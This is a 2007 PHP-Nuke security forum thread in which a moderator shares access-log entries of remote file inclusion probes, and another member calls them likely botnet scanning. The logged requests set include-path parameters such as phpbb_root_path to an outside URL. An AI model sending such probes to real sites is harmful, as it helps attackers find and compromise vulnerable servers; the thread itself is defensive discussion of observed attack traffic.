Ravens PHP Scripts: Forums
 

 
  Forum Index  •  Forum FAQ  •  Search  •  Memberlist  •  Usergroups  •  Profile  •  Log in to check your private messages  •  Log in

O´ Reilly hacks
 View next topic
View previous topic
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - PHP Nuke
Author Message
Susann
Moderator



Joined: Dec 19, 2004
Posts: 3191
Location: Germany:Moderator German NukeSentinel Support
PostPosted: Mon Oct 22, 2007 8:47 am Reply with quote
My logs are filled with such entries:
165.228.129.11 - - [21/Oct/2007:08:29:09 +0200] "GET /vp/configure.php?phpbb_root_path=http://examples.oreilly.com/oracle2/readme.txt? HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

165.228.129.11 - - [21/Oct/2007:08:27:43 +0200] "GET /includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://examples.oreilly.com/oracle2/readme.txt? HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

77.70.106.4 - - [21/Oct/2007:09:35:30 +0200] "GET [ Only registered users can see links on this board! Get registered or login! ] HTTP/1.0" 403 224 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

165.228.129.11 - - [21/Oct/2007:08:29:44 +0200] "GET /portal/portal.php?phpbb_root_path=http://examples.oreilly.com/oracle2/readme.txt? HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

etc.

Seems new I believe I didn´t saw Oreilly ever before in my logfiles.
 
View user's profile Send private message
evaders99
Former Moderator in Good Standing



Joined: Apr 30, 2004
Posts: 3221
PostPosted: Mon Oct 22, 2007 4:02 pm Reply with quote
The Orelly files contain nothing malicious that I can tell. Most likely this is just someone trying to play with their new botnet and see what sites are vulnerable.
I also see Intel.com and a bunch of Brazilian search engines being passed in such ways.

Really not much you can do about it.

_________________
- Star Wars Rebellion Network -

Need help? Nuke Patched Core, Coding Services, Webmaster Services 
View user's profile Send private message Visit poster's website
Susann
PostPosted: Mon Oct 22, 2007 5:28 pm Reply with quote
You are right and the one IP above is a proxy.
 
Display posts from previous:       
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - PHP Nuke


 Jump to:   




View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You can attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2007 phpBB Group
All times are GMT - 6 Hours
 
Forums ©